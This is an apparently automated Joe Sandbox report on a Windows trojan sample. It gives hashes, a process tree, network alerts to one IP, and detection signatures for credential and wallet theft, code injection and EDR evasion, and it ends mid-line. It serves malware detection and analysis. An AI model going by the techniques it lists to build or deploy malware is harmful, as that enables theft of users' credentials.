Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe

Overview

General Information

Sample name:SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe
Analysis ID:1627627
MD5:fc56a30780f873616933d67c072169d0
SHA1:55c5d927e163e31903895012c410cf93e9c3317b
SHA256:069a58a7ed424c5da0fedc7310f757d1080f5baeb731465552518c6fbb3d9d2f
Tags:exeuser-SecuriteInfoCom
Infos:

Detection

Score:88
Range:0 - 100
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Found direct / indirect Syscall (likely to bypass EDR)
Found hidden mapped module (file has been removed from disk)
Found strings related to Crypto-Mining
Joe Sandbox ML detected suspicious sample
Maps a DLL or memory area into another process
Switches to a custom stack to bypass stack traces
Tries to harvest and steal Bitcoin Wallet information
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal browser information (history, passwords, etc)
Writes to foreign memory regions
Contains functionality for read data from the clipboard
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to detect virtual machines (SLDT)
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the clipboard data
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Creates a process in suspended mode (likely to inject code)
Deletes files inside the Windows folder
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Drops files with a non-matching file extension (content does not match file extension)
Found dropped PE file which has not been started or loaded
Found evasive API chain (date check)
Found evasive API chain (may stop execution after accessing registry keys)
Found evasive API chain checking for process token information
Found potential string decryption / allocating functions
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains an invalid checksum
PE file contains executable resources (Code or Archives)
PE file contains more sections than normal
PE file contains sections with non-standard names
Queries the installation date of Windows
Queries the volume information (name, serial number etc) of a device
Sample file is different than original file name gathered from version info
Searches for user specific document files
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses the system / local time for branch decision (may execute only at specific dates)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

  • System is w10x64
  • SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe (PID: 7376 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe" MD5: FC56A30780F873616933D67C072169D0)
    • SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe (PID: 7420 cmdline: "C:\Windows\TEMP\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe" -burn.clean.room="C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe" -burn.filehandle.attached=632 -burn.filehandle.self=628 MD5: EB7B7E4070F3204CD47F1177E4DB1B9B)
      • RoboTaskLite.exe (PID: 7472 cmdline: C:\Windows\TEMP\{97415AD4-3721-4DB2-AA1E-BFCC7170DCCB}\.ba\RoboTaskLite.exe MD5: 6EE5F7F9F0016B5CC4F93A949A08F0DC)
        • RoboTaskLite.exe (PID: 7496 cmdline: C:\Users\user\AppData\Roaming\Supersync\RoboTaskLite.exe MD5: 6EE5F7F9F0016B5CC4F93A949A08F0DC)
          • cmd.exe (PID: 7512 cmdline: C:\Windows\SysWOW64\cmd.exe MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
            • conhost.exe (PID: 7520 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
            • ToolSecurityBvg.exe (PID: 8024 cmdline: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exe MD5: 967F4470627F823F4D7981E511C9824F)
              • msedge.exe (PID: 1072 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)
                • msedge.exe (PID: 7640 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2168 --field-trial-handle=2136,i,18074026445116763504,17622724437169816842,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)
  • RoboTaskLite.exe (PID: 8148 cmdline: "C:\Users\user\AppData\Roaming\Supersync\RoboTaskLite.exe" MD5: 6EE5F7F9F0016B5CC4F93A949A08F0DC)
    • cmd.exe (PID: 8172 cmdline: C:\Windows\SysWOW64\cmd.exe MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • conhost.exe (PID: 8180 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • ToolSecurityBvg.exe (PID: 1216 cmdline: C:\Users\user\AppData\Local\Temp\ToolSecurityBvg.exe MD5: 967F4470627F823F4D7981E511C9824F)
  • msedge.exe (PID: 2288 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)
    • msedge.exe (PID: 7868 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2068 --field-trial-handle=2016,i,11638499819414726767,10718403703694590297,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)
    • msedge.exe (PID: 6172 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6292 --field-trial-handle=2016,i,11638499819414726767,10718403703694590297,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)
    • msedge.exe (PID: 6184 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6588 --field-trial-handle=2016,i,11638499819414726767,10718403703694590297,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)
    • identity_helper.exe (PID: 8044 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6852 --field-trial-handle=2016,i,11638499819414726767,10718403703694590297,262144 /prefetch:8 MD5: 76C58E5BABFE4ACF0308AA646FC0F416)
    • identity_helper.exe (PID: 7896 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6852 --field-trial-handle=2016,i,11638499819414726767,10718403703694590297,262144 /prefetch:8 MD5: 76C58E5BABFE4ACF0308AA646FC0F416)
    • msedge.exe (PID: 5436 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=5492 --field-trial-handle=2016,i,11638499819414726767,10718403703694590297,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)
  • msedge.exe (PID: 1376 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5 MD5: 69222B8101B0601CC6663F8381E7E00F)
    • msedge.exe (PID: 6552 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2240 --field-trial-handle=2192,i,6562576749522032419,7349567095468573079,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)
  • msedge.exe (PID: 7652 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5 MD5: 69222B8101B0601CC6663F8381E7E00F)
    • msedge.exe (PID: 6436 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2136 --field-trial-handle=2060,i,3715829318677886793,66781582014580477,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

⊘No yara matches

Sigma Signatures

⊘No Sigma rule has matched

Suricata Signatures

TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
2025-03-02T23:47:53.779360+010020283713Unknown Traffic192.168.2.449909104.21.40.182443TCP
2025-03-02T23:47:55.236732+010020283713Unknown Traffic192.168.2.449920104.21.40.182443TCP
2025-03-02T23:47:56.096975+010020283713Unknown Traffic192.168.2.449926104.21.40.182443TCP
2025-03-02T23:48:23.299913+010020283713Unknown Traffic192.168.2.450100104.21.40.182443TCP
2025-03-02T23:48:24.882561+010020283713Unknown Traffic192.168.2.450102104.21.40.182443TCP
2025-03-02T23:48:32.821865+010020283713Unknown Traffic192.168.2.450106104.21.40.182443TCP
2025-03-02T23:48:34.048829+010020283713Unknown Traffic192.168.2.450107104.21.40.182443TCP
2025-03-02T23:48:34.855633+010020283713Unknown Traffic192.168.2.450108104.21.40.182443TCP
2025-03-02T23:48:35.626924+010020283713Unknown Traffic192.168.2.450109104.21.40.182443TCP
2025-03-02T23:48:36.472464+010020283713Unknown Traffic192.168.2.450110104.21.40.182443TCP
2025-03-02T23:48:37.524761+010020283713Unknown Traffic192.168.2.450111104.21.40.182443TCP
2025-03-02T23:48:38.621194+010020283713Unknown Traffic192.168.2.450112104.21.40.182443TCP
2025-03-02T23:48:50.513678+010020283713Unknown Traffic192.168.2.450113104.21.40.182443TCP
2025-03-02T23:48:52.210898+010020283713Unknown Traffic192.168.2.450114104.21.40.182443TCP
2025-03-02T23:48:53.165934+010020283713Unknown Traffic192.168.2.450115104.21.40.182443TCP
2025-03-02T23:48:54.103305+010020283713Unknown Traffic192.168.2.450116104.21.40.182443TCP
2025-03-02T23:48:55.346337+010020283713Unknown Traffic192.168.2.450117104.21.40.182443TCP
2025-03-02T23:48:56.833822+010020283713Unknown Traffic192.168.2.450118104.21.40.182443TCP
2025-03-02T23:48:58.073738+010020283713Unknown Traffic192.168.2.450119104.21.40.182443TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Multi AV Scanner detection for submitted file
Source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeVirustotal: Detection: 42%Perma Link
Source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeReversingLabs: Detection: 28%
Joe Sandbox ML detected suspicious sample
Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 0_2_0079ED3B DecryptFileW,0_2_0079ED3B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 0_2_007DA2D0 CryptAcquireContextW,GetLastError,CryptCreateHash,GetLastError,CryptHashData,ReadFile,GetLastError,CryptDestroyHash,CryptReleaseContext,GetLastError,CryptGetHashParam,GetLastError,SetFilePointerEx,GetLastError,0_2_007DA2D0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 0_2_0079EA4B DecryptFileW,0_2_0079EA4B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 0_2_0079DA0E CreateFileW,GetLastError,DecryptFileW,CloseHandle,0_2_0079DA0E
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 0_2_0079DB8F CreateFileW,GetLastError,DecryptFileW,CloseHandle,0_2_0079DB8F
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 0_2_0079ECE9 DecryptFileW,0_2_0079ECE9
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 1_2_00D2ED3B DecryptFileW,1_2_00D2ED3B
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 1_2_00D6A2D0 CryptAcquireContextW,GetLastError,CryptCreateHash,GetLastError,CryptHashData,ReadFile,GetLastError,CryptDestroyHash,CryptReleaseContext,GetLastError,CryptGetHashParam,GetLastError,SetFilePointerEx,GetLastError,1_2_00D6A2D0
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 1_2_00D2EA4B DecryptFileW,1_2_00D2EA4B
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 1_2_00D2DA0E CreateFileW,GetLastError,DecryptFileW,CloseHandle,1_2_00D2DA0E
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 1_2_00D2DB8F CreateFileW,GetLastError,DecryptFileW,CloseHandle,1_2_00D2DB8F
Source: C:\Windows\Temp\{D72C88A4-5925-468B-94FA-44E2827ACCDE}\.cr\SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeCode function: 1_2_00D2ECE9 DecryptFileW,1_2_00D2ECE9

Bitcoin Miner

barindex
Found strings related to Crypto-Mining
Source: ToolSecurityBvg.exe, 0000000A.00000003.2801517154.0000000008061000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: jsecoin.com/
Source: ToolSecurityBvg.exe, 0000000A.00000003.2801517154.0000000008061000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: coinhive.com/
Source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE, REMOVABLE_RUN_FROM_SWAP, NET_RUN_FROM_SWAP
Source: unknownHTTPS traffic detected: 104.21.40.182:443 -> 192.168.2.4:49909 version: TLS 1.2
Source: unknownHTTPS traffic detected: 104.21.40.182:443 -> 192.168.2.4:49920 version: TLS 1.2
Source: unknownHTTPS traffic detected: 104.21.40.182:443 -> 192.168.2.4:49926 version: TLS 1.2
Source: unknownHTTPS traffic detected: 104.21.40.182:443 -> 192.168.2.4:50100 version: TLS 1.2
Source: unknownHTTPS traffic detected: 104.21.40.182:443 -> 192.168.2.4:50102 version: TLS 1.2
Source: unknownHTTPS traffic detected: 104.21.40.182:443 -> 192.168.2.4:50106 version: TLS 1.2
Source: unknownHTTPS traffic detected: 104.21.40.182:443 -> 192.168.2.4:50107 version: TLS 1.2
Source: unknownHTTPS traffic detected: 104.21.40.182:443 -> 192.168.2.4:50108 version: TLS 1.2
Source: unknownHTTPS traffic detected: 104.21.40.182:443 -> 192.168.2.4:50109 version: TLS 1.2
Source: unknownHTTPS traffic detected: 104.21.40.182:443 -> 192.168.2.4:50110 version: TLS 1.2
Source: unknownHTTPS traffic detected: 104.21.40.182:443 -> 192.168.2.4:50111 version: TLS 1.2
Source: unknownHTTPS traffic detected: 104.21.40.182:443 -> 192.168.2.4:50112 version: TLS 1.2
Source: unknownHTTPS traffic detected: 104.21.40.182:443 -> 192.168.2.4:50113 version: TLS 1.2
Source: unknownHTTPS traffic detected: 104.21.40.182:443 -> 192.168.2.4:50114 version: TLS 1.2
Source: unknownHTTPS traffic detected: 104.21.40.182:443 -> 192.168.2.4:50115 version: TLS 1.2
Source: unknownHTTPS traffic detected: 104.21.40.182:443 -> 192.168.2.4:50116 version: TLS 1.2
Source: unknownHTTPS traffic detected: 104.21.40.182:443 -> 192.168.2.4:50117 version: TLS 1.2
Source: unknownHTTPS traffic detected: 104.21.40.182:443 -> 192.168.2.4:50118 version: TLS 1.2
Source: unknownHTTPS traffic detected: 104.21.40.182:443 -> 192.168.2.4:50119 version: TLS 1.2
Source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Source: Binary string: gC:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\te source: ToolSecurityBvg.exe, 0000000A.00000003.2596781676.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2643935919.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2596481390.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2599356660.0000000002E82000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: ntkrnlmp.pdb#W source: ToolSecurityBvg.exe, 0000000A.00000003.2596781676.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2679540264.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2596481390.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2599356660.0000000002E82000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2p source: ToolSecurityBvg.exe, 0000000A.00000003.2595426913.0000000002E4F000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: D:\a\wix4\wix4\build\burn\Release\x86\burn.pdb source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000000.00000002.2121807166.00000000007EE000.00000002.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000000.00000000.1788209677.00000000007EE000.00000002.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000001.00000002.2119327647.0000000000D7E000.00000002.00000001.01000000.00000005.sdmp, SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000001.00000000.1797631027.0000000000D7E000.00000002.00000001.01000000.00000005.sdmp
Source: Binary string: l\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\Local State`qP source: ToolSecurityBvg.exe, 0000000A.00000003.2596781676.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2643935919.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2596481390.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2599356660.0000000002E82000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\Local State source: ToolSecurityBvg.exe, 0000000A.00000003.2595426913.0000000002E4F000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\Local StateNb source: ToolSecurityBvg.exe, 0000000A.00000003.2596781676.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2661777601.0000000002EBA000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2596481390.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2599356660.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2658753495.0000000002EB6000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831{vZ source: ToolSecurityBvg.exe, 0000000A.00000003.2596781676.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2643935919.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2596481390.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2599356660.0000000002E82000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: ntkrnlmp.pdb source: ToolSecurityBvg.exe, 0000000A.00000003.2596781676.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2679540264.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2596481390.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2599356660.0000000002E82000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: jC:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb source: ToolSecurityBvg.exe, 0000000A.00000003.2596781676.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2643935919.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2596481390.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2599356660.0000000002E82000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: wntdll.pdbUGP source: RoboTaskLite.exe, 00000002.00000002.1850445134.000000000A5F0000.00000004.00000800.00020000.00000000.sdmp, RoboTaskLite.exe, 00000002.00000002.1849560770.000000000A292000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2196219019.0000000005137000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2197341405.0000000005A40000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: wntdll.pdb source: RoboTaskLite.exe, 00000002.00000002.1850445134.000000000A5F0000.00000004.00000800.00020000.00000000.sdmp, RoboTaskLite.exe, 00000002.00000002.1849560770.000000000A292000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2196219019.0000000005137000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2197341405.0000000005A40000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: D:\a\wix4\wix4\build\burn\Release\x86\burn.pdb> source: SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000000.00000002.2121807166.00000000007EE000.00000002.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000000.00000000.1788209677.00000000007EE000.00000002.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000001.00000002.2119327647.0000000000D7E000.00000002.00000001.01000000.00000005.sdmp, SecuriteInfo.com.Trojan.Inject5.17530.4675.11921.exe, 00000001.00000000.1797631027.0000000000D7E000.00000002.00000001.01000000.00000005.sdmp
Source: Binary string: h\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\Local Statetateq0 source: ToolSecurityBvg.exe, 0000000A.00000003.2821080856.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2754958749.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2849635779.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2726014114.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2784742842.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2710814230.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2851303950.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2801136499.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2749035806.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2596781676.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2823643297.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2728727480.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2679540264.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2750909782.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2643935919.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2754339287.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2596481390.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2599356660.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2848225882.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2752226852.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2823153370.0000000002E82000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: ToolSecurityBvg.exe, 0000000A.00000003.2596781676.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2643935919.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2596481390.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2599356660.0000000002E82000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\Local State6 source: ToolSecurityBvg.exe, 0000000A.00000003.2672948997.0000000002EBB000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2596781676.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2661777601.0000000002EBA000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2675893535.0000000002EB9000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2596481390.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2599356660.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2679152136.0000000002EBB000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2658753495.0000000002EB6000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\Local State source: ToolSecurityBvg.exe, 0000000A.00000003.2595426913.0000000002E4F000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\Local State source: ToolSecurityBvg.exe, 0000000A.00000003.2821080856.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2754958749.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2849635779.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2726014114.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2784742842.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2710814230.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2851303950.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2801136499.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 0000000A.00000003.2749035806.0000000002E82000.00000004.00000001.00020000.00000000.sdmp, ToolSecurityBvg.exe, 